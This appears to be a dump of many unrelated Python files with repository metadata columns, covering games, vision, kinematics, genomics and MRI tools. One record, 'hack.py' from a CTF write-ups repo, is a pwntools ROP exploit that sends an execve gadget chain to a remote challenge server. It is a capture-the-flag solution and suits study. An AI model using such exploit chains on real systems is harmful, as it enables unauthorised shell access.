from invenio_accounts.models i... | 29.839779 | 91 | 0.672098 | 650 | 5,401 | 5.324615 | 0.236923 | 0.054608 | 0.098815 | 0.030049 | 0.171338 | 0.12453 | 0.088992 | 0.067033 | 0.050852 | 0 | 0 | 0.001688 | 0.231994 | 5,401 | 180 | 92 | 30.005556 | 0.83269 | 0.072949 | 0 | 0.096 | 0 | 0 | 0.148597 | 0.092267 | 0 | 0 | 0 | 0 | 0 | 1 | 0.048 | false | 0.048 | 0.096 | 0 | 0.248 | 0.032 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e750a7db318e1b1722b11d4663f54e8a2e8abb6a | 1,125 | py | Python | 10 - Using break/Des_068.py | o-Ian/Practice-Python | 1e4b2d0788e70006096a53a7cf038db3148ba4b7 | [
"MIT"
] | 4 | 2021-04-23T18:07:58.000Z | 2021-05-12T11:38:14.000Z | 10 - Using break/Des_068.py | o-Ian/Practice-Python | 1e4b2d0788e70006096a53a7cf038db3148ba4b7 | [
"MIT"
] | null | null | null | 10 - Using break/Des_068.py | o-Ian/Practice-Python | 1e4b2d0788e70006096a53a7cf038db3148ba4b7 | [
"MIT"
] | null | null | null | from random import randint
perder = ganhou = 0
print('\n=-=-=-=-TENTE GANHAR DE MIM NO PAR OU ÍMPAR!=-=-=-=-\n')
while True:
print('-=' * 15)
eu = int(input('Digite um número: '))
pc = randint(1, 100)
par_ganhou = impar_ganhou = 0
i_p = ' '
while i_p not in 'IP':
i_p = input('Você esco... | 31.25 | 113 | 0.533333 | 172 | 1,125 | 3.447674 | 0.354651 | 0.020236 | 0.030354 | 0.131535 | 0.337268 | 0.337268 | 0.337268 | 0.337268 | 0.337268 | 0.337268 | 0 | 0.031766 | 0.300444 | 1,125 | 35 | 114 | 32.142857 | 0.721728 | 0 | 0 | 0.25 | 0 | 0.09375 | 0.413333 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.03125 | 0 | 0.03125 | 0.28125 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e7531c6aec53aa133b091d9c44add5e29edc53d4 | 446 | py | Python | rop1-sean_Pwn-2/hack.py | ss8651twtw/Pwn-CTF-writeups | 930a85169c2110594479cf66528b79e8ddae46a2 | [
"MIT"
] | 4 | 2021-08-01T07:53:26.000Z | 2021-09-08T08:50:09.000Z | rop1-sean_Pwn-2/hack.py | ss8651twtw/Pwn-CTF-writeups | 930a85169c2110594479cf66528b79e8ddae46a2 | [
"MIT"
] | null | null | null | rop1-sean_Pwn-2/hack.py | ss8651twtw/Pwn-CTF-writeups | 930a85169c2110594479cf66528b79e8ddae46a2 | [
"MIT"
] | 1 | 2022-03-22T10:13:53.000Z | 2022-03-22T10:13:53.000Z | from pwn import *
import time
context.arch = "amd64"
ip = "140.110.112.77"
port = 3122
r = remote(ip, port)
# r = process("./rop1")
data = 0x6ccd60
pop_rsi = 0x401637
pop_rax_rdx_rbx = 0x478616
pop_rdi = 0x401516
syscall = 0x4672b5
leave = 0x4009e4
r.sendline(flat(0xdeadbeef, pop_rax_rdx_rbx, 0x3b, 0, 0, pop_rdi, ... | 18.583333 | 121 | 0.681614 | 72 | 446 | 4.083333 | 0.666667 | 0.040816 | 0.061224 | 0.081633 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.184 | 0.159193 | 446 | 23 | 122 | 19.391304 | 0.6 | 0.047085 | 0 | 0 | 0 | 0 | 0.07565 | 0 | 0 | 0 | 0.153664 | 0 | 0 | 1 | 0 | false | 0 | 0.133333 | 0 | 0.133333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e7541e90aae6724fc21be662cfca2ab9529171ad | 3,548 | py | Python | jikanvision/FaceMeshModule.py | JikanDev/jikanvision | 09cd4ecdbfe6423cdf2c6f4ae064fcafae576eb0 | [
"Apache-2.0"
] | 1 | 2021-09-02T09:03:53.000Z | 2021-09-02T09:03:53.000Z | jikanvision/FaceMeshModule.py | JikanDev/jikanvision | 09cd4ecdbfe6423cdf2c6f4ae064fcafae576eb0 | [
"Apache-2.0"
] | 1 | 2021-10-21T14:50:06.000Z | 2021-10-21T14:50:06.000Z | jikanvision/FaceMeshModule.py | JikanDev/jikanvision | 09cd4ecdbfe6423cdf2c6f4ae064fcafae576eb0 | [
"Apache-2.0"
] | null | null | null | """
Face Mesh Module
By : JikanDev
Website : https://jikandev.xyz/
"""
import cv2
import mediapipe as mp
class FaceMeshDetector():
"""
Find 468 Landmarks using the mediapipe library. Exports the landmarks in pixel format.
"""
def __init__(self, mode=False, maxFaces=1, refine_lm=False, m... | 35.48 | 112 | 0.592728 | 397 | 3,548 | 5.211587 | 0.375315 | 0.019333 | 0.029 | 0.012566 | 0.143064 | 0.096665 | 0.051232 | 0.051232 | 0.051232 | 0 | 0 | 0.013389 | 0.326381 | 3,548 | 100 | 113 | 35.48 | 0.852301 | 0.303551 | 0 | 0 | 0 | 0 | 0.019074 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.061224 | false | 0 | 0.040816 | 0 | 0.142857 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e756f3d909ed9cf27d6e6754f6228111304c2edd | 6,728 | py | Python | cellpack/mgl_tools/mglutil/math/kinematics.py | mesoscope/cellpack | ec6b736fc706c1fae16392befa814b5337a3a692 | [
"MIT"
] | null | null | null | cellpack/mgl_tools/mglutil/math/kinematics.py | mesoscope/cellpack | ec6b736fc706c1fae16392befa814b5337a3a692 | [
"MIT"
] | 21 | 2021-10-02T00:07:05.000Z | 2022-03-30T00:02:10.000Z | cellpack/mgl_tools/mglutil/math/kinematics.py | mesoscope/cellpack | ec6b736fc706c1fae16392befa814b5337a3a692 | [
"MIT"
] | null | null | null | ## Automatically adapted for numpy.oldnumeric Jul 23, 2007 by
#
# Last modified on Mon Oct 15 15:33:49 PDT 2001 by lindy
#
# $Header: /opt/cvs/python/packages/share1.5/mglutil/math/kinematics.py,v 1.16 2007/07/24 17:30:40 vareille Exp $
#
"""kinematics.py - kinematic manipulation of chains of points
All transformati... | 32.191388 | 113 | 0.522889 | 983 | 6,728 | 3.537131 | 0.255341 | 0.032212 | 0.017256 | 0.024159 | 0.186368 | 0.146678 | 0.115042 | 0.103538 | 0.071326 | 0.071326 | 0 | 0.13899 | 0.346611 | 6,728 | 208 | 114 | 32.346154 | 0.651956 | 0.254162 | 0 | 0.076923 | 0 | 0 | 0.006804 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.038462 | false | 0 | 0.015385 | 0 | 0.084615 | 0.007692 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e7584bf56075da23dbb46430a6950a9f3d4405c0 | 2,178 | py | Python | ucsc_genomes_downloader/utils/expand_bed_regions.py | LucaCappelletti94/ucsc_genomes_downloader | fdef5fae76a78606279aa3e49e0b009a1b34a436 | [
"MIT"
] | 5 | 2020-01-30T15:03:40.000Z | 2022-01-25T18:44:16.000Z | ucsc_genomes_downloader/utils/expand_bed_regions.py | LucaCappelletti94/ucsc_genomes_downloader | fdef5fae76a78606279aa3e49e0b009a1b34a436 | [
"MIT"
] | 2 | 2020-01-04T15:22:16.000Z | 2020-07-16T20:02:42.000Z | ucsc_genomes_downloader/utils/expand_bed_regions.py | LucaCappelletti94/ucsc_genomes_downloader | fdef5fae76a78606279aa3e49e0b009a1b34a436 | [
"MIT"
] | 3 | 2019-12-29T15:19:22.000Z | 2021-03-27T03:05:51.000Z | import pandas as pd
import numpy as np
__all__ = ["expand_bed_regions"]
def expand_bed_regions(bed: pd.DataFrame, window_size: int, alignment: str = "center") -> pd.DataFrame:
"""Return pandas dataframe setting regions to given window size considering given alignment.
Parameters
-----------------------
... | 36.915254 | 103 | 0.649219 | 263 | 2,178 | 5.304183 | 0.365019 | 0.086022 | 0.027957 | 0.028674 | 0.071685 | 0.043011 | 0 | 0 | 0 | 0 | 0 | 0.002415 | 0.239669 | 2,178 | 58 | 104 | 37.551724 | 0.839976 | 0.522957 | 0 | 0 | 0 | 0 | 0.177948 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.05 | false | 0 | 0.1 | 0 | 0.2 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e7593ec909d2ec472ea74ef88d48fb12c9f615bd | 2,972 | py | Python | examples/mri/non_cartesian_reconstruction.py | LElgueddari/pisap | ddd9f9f02dcd629b5615fa571ac7795c2d5e9727 | [
"CECILL-B"
] | null | null | null | examples/mri/non_cartesian_reconstruction.py | LElgueddari/pisap | ddd9f9f02dcd629b5615fa571ac7795c2d5e9727 | [
"CECILL-B"
] | null | null | null | examples/mri/non_cartesian_reconstruction.py | LElgueddari/pisap | ddd9f9f02dcd629b5615fa571ac7795c2d5e9727 | [
"CECILL-B"
] | 1 | 2018-12-04T14:32:15.000Z | 2018-12-04T14:32:15.000Z | """
Neuroimaging non-cartesian reconstruction
=========================================
Author: Chaithya G R
In this tutorial we will reconstruct an MRI image from non-cartesian kspace
measurements.
Import neuroimaging data
------------------------
We use the toy datasets available in pysap, more specifically a 2D ... | 30.326531 | 78 | 0.694482 | 410 | 2,972 | 4.834146 | 0.356098 | 0.017659 | 0.030272 | 0.015136 | 0.113017 | 0.029263 | 0 | 0 | 0 | 0 | 0 | 0.01024 | 0.145693 | 2,972 | 97 | 79 | 30.639175 | 0.770382 | 0.354307 | 0 | 0 | 0 | 0 | 0.05248 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.2 | 0 | 0.2 | 0.044444 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e75b23de02a67ea7c8d05abe2bf178f7d08eb2d7 | 1,857 | py | Python | triassic_scoring.py | SouthwestCCDC/2019-pcc | a2a38cfd0eb714fc9b2c0e69484171306eca67e0 | [
"Unlicense"
] | 1 | 2022-01-14T18:04:20.000Z | 2022-01-14T18:04:20.000Z | triassic_scoring.py | wrharding/triassic_shell | 2d13f8299c01a050d230034d2d37e0e3af8e1a02 | [
"Unlicense"
] | null | null | null | triassic_scoring.py | wrharding/triassic_shell | 2d13f8299c01a050d230034d2d37e0e3af8e1a02 | [
"Unlicense"
] | 1 | 2021-01-22T23:03:29.000Z | 2021-01-22T23:03:29.000Z | import sys
import logging
import socket
import argparse
import json
import os
import data_model
from flask import Flask
app = Flask(__name__)
app.secret_key = 'NpaguVKgv<;f;i(:T>3tn~dsOue5Vy)'
@app.route('/degrade/<int:index>/')
def degrade_segment(index):
if index >= 97 or index < 0:
return 'bad'
e... | 26.913043 | 95 | 0.645665 | 249 | 1,857 | 4.618474 | 0.429719 | 0.054783 | 0.044348 | 0.029565 | 0.036522 | 0 | 0 | 0 | 0 | 0 | 0 | 0.017869 | 0.216478 | 1,857 | 68 | 96 | 27.308824 | 0.772509 | 0.018848 | 0 | 0.076923 | 0 | 0 | 0.152198 | 0.05 | 0 | 0 | 0 | 0 | 0 | 1 | 0.057692 | false | 0 | 0.153846 | 0 | 0.307692 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e765fb3f3635f387b5b8188b7acfcdc41c6bffec | 894 | py | Python | test/test_substitution.py | corneliusroemer/pyro-cov | 54e89d128293f9ff9e995c442f72fa73f5f99b76 | [
"Apache-2.0"
] | 22 | 2021-09-14T04:33:11.000Z | 2022-02-01T21:33:05.000Z | test/test_substitution.py | corneliusroemer/pyro-cov | 54e89d128293f9ff9e995c442f72fa73f5f99b76 | [
"Apache-2.0"
] | 7 | 2021-11-02T13:48:35.000Z | 2022-03-23T18:08:35.000Z | test/test_substitution.py | corneliusroemer/pyro-cov | 54e89d128293f9ff9e995c442f72fa73f5f99b76 | [
"Apache-2.0"
] | 6 | 2021-09-18T01:06:51.000Z | 2022-01-10T02:22:06.000Z | # Copyright Contributors to the Pyro-Cov project.
# SPDX-License-Identifier: Apache-2.0
import pyro.poutine as poutine
import pytest
import torch
from pyro.infer.autoguide import AutoDelta
from pyrocov.substitution import GeneralizedTimeReversible, JukesCantor69
@pytest.mark.parametrize("Model", [JukesCantor69, Gen... | 29.8 | 77 | 0.694631 | 118 | 894 | 5.144068 | 0.432203 | 0.041186 | 0.093904 | 0.082372 | 0.039539 | 0 | 0 | 0 | 0 | 0 | 0 | 0.016598 | 0.191275 | 894 | 29 | 78 | 30.827586 | 0.82296 | 0.092841 | 0 | 0 | 0 | 0 | 0.006188 | 0 | 0 | 0 | 0 | 0 | 0.142857 | 1 | 0.047619 | false | 0 | 0.238095 | 0 | 0.285714 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e7666c41475df3a201f3e9500fe80142589cab4b | 438 | py | Python | angr/engines/vex/expressions/unsupported.py | aeflores/angr | ac85a3f168375ed0ee20551b1b716c1bff4ac02b | [
"BSD-2-Clause"
] | 1 | 2020-11-18T16:39:11.000Z | 2020-11-18T16:39:11.000Z | angr/engines/vex/expressions/unsupported.py | aeflores/angr | ac85a3f168375ed0ee20551b1b716c1bff4ac02b | [
"BSD-2-Clause"
] | 1 | 2019-04-08T12:10:07.000Z | 2019-04-08T12:10:07.000Z | angr/engines/vex/expressions/unsupported.py | aeflores/angr | ac85a3f168375ed0ee20551b1b716c1bff4ac02b | [
"BSD-2-Clause"
] | 1 | 2020-11-18T16:39:13.000Z | 2020-11-18T16:39:13.000Z | import logging
l = logging.getLogger(name=__name__)
def SimIRExpr_Unsupported(_engine, state, expr):
l.error("Unsupported IRExpr %s. Please implement.", type(expr).__name__)
size = expr.result_size(state.scratch.tyenv)
result = state.solver.Unconstrained(type(expr).__name__, size)
state.history.add_ev... | 39.818182 | 123 | 0.755708 | 55 | 438 | 5.636364 | 0.527273 | 0.077419 | 0.116129 | 0.103226 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.116438 | 438 | 10 | 124 | 43.8 | 0.801034 | 0 | 0 | 0 | 0 | 0 | 0.16895 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.125 | false | 0 | 0.125 | 0 | 0.375 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e76781753c0e4a869e70caddd34d8e8a1557bef1 | 5,090 | py | Python | bifrost_whats_my_species/datadump.py | ssi-dk/bifrost_whats_my_species | fe59e8cf096b8622747278959d53a95c80bed9ad | [
"MIT"
] | null | null | null | bifrost_whats_my_species/datadump.py | ssi-dk/bifrost_whats_my_species | fe59e8cf096b8622747278959d53a95c80bed9ad | [
"MIT"
] | 2 | 2020-11-13T13:46:11.000Z | 2020-11-20T08:36:55.000Z | bifrost_whats_my_species/datadump.py | ssi-dk/bifrost-whats_my_species | fe59e8cf096b8622747278959d53a95c80bed9ad | [
"MIT"
] | null | null | null | from bifrostlib import common
from bifrostlib.datahandling import Sample
from bifrostlib.datahandling import SampleComponentReference
from bifrostlib.datahandling import SampleComponent
from bifrostlib.datahandling import Category
from typing import Dict
import os
def extract_bracken_txt(species_detection: C... | 57.840909 | 226 | 0.711591 | 610 | 5,090 | 5.622951 | 0.160656 | 0.116618 | 0.072012 | 0.057726 | 0.522157 | 0.472012 | 0.397668 | 0.340233 | 0.3 | 0.23965 | 0 | 0.005834 | 0.158153 | 5,090 | 87 | 227 | 58.505747 | 0.794632 | 0.011984 | 0 | 0.131579 | 0 | 0 | 0.179591 | 0.041101 | 0 | 0 | 0 | 0 | 0 | 1 | 0.065789 | false | 0 | 0.092105 | 0 | 0.157895 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e76785635d525e1ea987b9fb10498fdb21db674e | 627 | py | Python | ex6-8.py | yiyidhuang/PythonCrashCrouse2nd | 3512f9ab8fcf32c6145604a37e2a62feddf174d1 | [
"MIT"
] | null | null | null | ex6-8.py | yiyidhuang/PythonCrashCrouse2nd | 3512f9ab8fcf32c6145604a37e2a62feddf174d1 | [
"MIT"
] | null | null | null | ex6-8.py | yiyidhuang/PythonCrashCrouse2nd | 3512f9ab8fcf32c6145604a37e2a62feddf174d1 | [
"MIT"
] | null | null | null | cristiano = {
'type': 'dog',
'owner': 'wei',
}
rose = {
'type': 'cat',
'owner': 'yan',
}
cloud = {
'type': 'pig',
'owner': 'luo',
}
pets = [cristiano, rose, cloud]
for pet in pets:
if pet == cristiano:
print('\nCristiano: '
+ '\n\ttype: ' + pet['type']
... | 20.225806 | 45 | 0.405104 | 62 | 627 | 4.096774 | 0.387097 | 0.070866 | 0.106299 | 0.153543 | 0.385827 | 0.385827 | 0.385827 | 0.385827 | 0.275591 | 0.275591 | 0 | 0 | 0.365231 | 627 | 30 | 46 | 20.9 | 0.638191 | 0 | 0 | 0.230769 | 0 | 0 | 0.263158 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.115385 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e769251e473b5f4b32970f5dbac6d06da53753e2 | 4,766 | py | Python | dexy/filters/matrix.py | dexy/dexy | 323c1806e51f75435e11d2265703e68f46c8aef3 | [
"MIT"
] | 136 | 2015-01-06T15:04:47.000Z | 2021-12-21T22:52:41.000Z | dexy/filters/matrix.py | dexy/dexy | 323c1806e51f75435e11d2265703e68f46c8aef3 | [
"MIT"
] | 13 | 2015-01-26T14:06:58.000Z | 2020-03-27T21:16:10.000Z | dexy/filters/matrix.py | dexy/dexy | 323c1806e51f75435e11d2265703e68f46c8aef3 | [
"MIT"
] | 34 | 2015-01-02T16:24:53.000Z | 2021-11-27T05:38:30.000Z | from bs4 import BeautifulSoup
from dexy.filters.api import ApiFilter
import asyncio
import json
import mimetypes
import markdown
try:
from nio import AsyncClient
AVAILABLE = True
except ImportError:
AVAILABLE = False
async def main_nio(homeserver, user, password, room_id, ext, mimetype, data_provider, con... | 32.868966 | 134 | 0.536299 | 511 | 4,766 | 4.857143 | 0.334638 | 0.050766 | 0.073328 | 0.032232 | 0.14585 | 0.084609 | 0.058018 | 0.058018 | 0.058018 | 0.058018 | 0 | 0.002553 | 0.342426 | 4,766 | 144 | 135 | 33.097222 | 0.789407 | 0.103651 | 0 | 0.156863 | 0 | 0 | 0.142891 | 0.017565 | 0 | 0 | 0 | 0.006944 | 0 | 1 | 0.029412 | false | 0.029412 | 0.078431 | 0.019608 | 0.166667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e76a39929d3dba1cca55b2346b00be6b52fb4b66 | 880 | py | Python | vera molnar/random_grids.py | jkocontreras/drawbotscripts | 6688e65e057f25901ac1adb93c3108ab889de49f | [
"MIT"
] | null | null | null | vera molnar/random_grids.py | jkocontreras/drawbotscripts | 6688e65e057f25901ac1adb93c3108ab889de49f | [
"MIT"
] | null | null | null | vera molnar/random_grids.py | jkocontreras/drawbotscripts | 6688e65e057f25901ac1adb93c3108ab889de49f | [
"MIT"
] | null | null | null | import random
# ----------------------
# settings
pw = ph = 500
cell_a = 10 # amount of cells
sbdvs = 3 # subdivisions
gap = pw /(cell_a * sbdvs + cell_a + 1)
cell_s = sbdvs * gap
points = [(x * gap, y * gap) for x in range(sbdvs+1) for y in range(sbdvs+1) ]
# ----------------------
# function(s)
def a_grid_c... | 19.555556 | 79 | 0.575 | 131 | 880 | 3.740458 | 0.389313 | 0.061224 | 0.02449 | 0.044898 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.020202 | 0.2125 | 880 | 45 | 80 | 19.555556 | 0.686869 | 0.181818 | 0 | 0 | 0 | 0 | 0.014065 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.041667 | false | 0 | 0.041667 | 0 | 0.083333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e76c666397b985650186328fae42e70cb9a10b72 | 1,835 | py | Python | distiller/core/Distiller.py | darkclouder/distiller | a8efbfd807d781b90daba6023e3f966a52836b42 | [
"BSD-2-Clause"
] | 3 | 2018-07-18T14:41:00.000Z | 2020-10-30T13:26:26.000Z | distiller/core/Distiller.py | darkclouder/distiller | a8efbfd807d781b90daba6023e3f966a52836b42 | [
"BSD-2-Clause"
] | 1 | 2018-07-19T08:23:09.000Z | 2018-07-19T08:23:09.000Z | distiller/core/Distiller.py | darkclouder/distiller | a8efbfd807d781b90daba6023e3f966a52836b42 | [
"BSD-2-Clause"
] | null | null | null | import os
from distiller.core.impl.HttpServer import HttpServer
from distiller.core.impl.CoreHandler import CoreHandler
class Distiller:
def __init__(self, env):
self.env = env
self.logger = self.env.logger.claim("Core")
self.shutdown = False
self.srv = HttpServer(CoreHandler(), ... | 27.38806 | 81 | 0.541144 | 208 | 1,835 | 4.75 | 0.355769 | 0.049595 | 0.064777 | 0.089069 | 0.220648 | 0.129555 | 0 | 0 | 0 | 0 | 0 | 0.000856 | 0.363488 | 1,835 | 66 | 82 | 27.80303 | 0.845034 | 0.119346 | 0 | 0.195122 | 0 | 0 | 0.085874 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.097561 | false | 0 | 0.073171 | 0 | 0.292683 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e76ef4520136e84bfa60de421094e1c1499594a2 | 5,854 | py | Python | StratLearner/run_PreTrain.py | cdslabamotong/stratLearner | 58f278d438eed92683a7daac2605ec39abd18c94 | [
"MIT"
] | 7 | 2020-12-02T06:58:30.000Z | 2022-03-04T01:21:59.000Z | StratLearner/run_PreTrain.py | dm-ytlds/stratLearner | 3ad880a5ca0472a3a5823fa27db7dd2bc8ba0f33 | [
"MIT"
] | null | null | null | StratLearner/run_PreTrain.py | dm-ytlds/stratLearner | 3ad880a5ca0472a3a5823fa27db7dd2bc8ba0f33 | [
"MIT"
] | 1 | 2020-12-02T06:58:32.000Z | 2020-12-02T06:58:32.000Z | """
==============================
StratLearner Training
==============================
"""
import numpy as np
from one_slack_ssvm import OneSlackSSVM
from stratLearner import (StratLearn, Utils, InputInstance)
import multiprocessing
import argparse
import os
import sys
from datetime import datetime
class Object(obje... | 29.27 | 178 | 0.686197 | 808 | 5,854 | 4.730198 | 0.221535 | 0.057561 | 0.032967 | 0.041863 | 0.333595 | 0.249084 | 0.181057 | 0.128728 | 0.10675 | 0.10675 | 0 | 0.013685 | 0.138709 | 5,854 | 199 | 179 | 29.417085 | 0.744347 | 0.064742 | 0 | 0.155039 | 0 | 0 | 0.124931 | 0.025463 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.007752 | 0.062016 | 0 | 0.069767 | 0.108527 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e771901cac33122ea8a46bf698c48b3de96e015e | 886 | py | Python | nvic.py | dhylands/upy-examples | 90cca32f0c6c65c33967da9ac1a998e731c60d91 | [
"MIT"
] | 78 | 2015-01-15T23:24:21.000Z | 2022-02-25T09:24:58.000Z | nvic.py | dhylands/upy-examples | 90cca32f0c6c65c33967da9ac1a998e731c60d91 | [
"MIT"
] | 1 | 2015-02-04T00:51:52.000Z | 2015-02-04T00:51:52.000Z | nvic.py | dhylands/upy-examples | 90cca32f0c6c65c33967da9ac1a998e731c60d91 | [
"MIT"
] | 26 | 2015-02-03T21:26:33.000Z | 2022-02-21T02:57:46.000Z | import machine
SCS = 0xE000E000
SCB = SCS + 0x0D00
NVIC = SCS + 0x0100
VTOR = SCB + 0x08
SCB_SHP = SCB + 0x18
NVIC_PRIO = NVIC + 0x300
def dump_nvic():
print('NVIC_PRIO = {:08x} @ {:08x}'.format(machine.mem32[NVIC_PRIO], NVIC_PRIO))
print('VTOR = {:08x} @ {:08x}'.format(machine.mem32[VTOR], VTOR))
... | 23.945946 | 84 | 0.546275 | 127 | 886 | 3.708661 | 0.322835 | 0.101911 | 0.050955 | 0.080679 | 0.318471 | 0.123142 | 0.123142 | 0.123142 | 0.123142 | 0.123142 | 0 | 0.096215 | 0.284424 | 886 | 36 | 85 | 24.611111 | 0.646688 | 0 | 0 | 0.142857 | 0 | 0 | 0.109481 | 0 | 0 | 0 | 0.044018 | 0 | 0 | 1 | 0.071429 | false | 0 | 0.035714 | 0 | 0.107143 | 0.214286 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e772c6aaf22ad97381e12d6d2154f737e40ff951 | 9,152 | py | Python | trimesh/primitives.py | maganrobotics/UR3e-manipulation | ceaf650b1a811d0bfc3baf175d353fc7f4a33522 | [
"MIT"
] | null | null | null | trimesh/primitives.py | maganrobotics/UR3e-manipulation | ceaf650b1a811d0bfc3baf175d353fc7f4a33522 | [
"MIT"
] | null | null | null | trimesh/primitives.py | maganrobotics/UR3e-manipulation | ceaf650b1a811d0bfc3baf175d353fc7f4a33522 | [
"MIT"
] | null | null | null | import numpy as np
from . import util
from . import points
from . import creation
from .base import Trimesh
from .constants import log
from .triangles import windings_aligned
class Primitive(Trimesh):
'''
Geometric primitives which are a subclass of Trimesh.
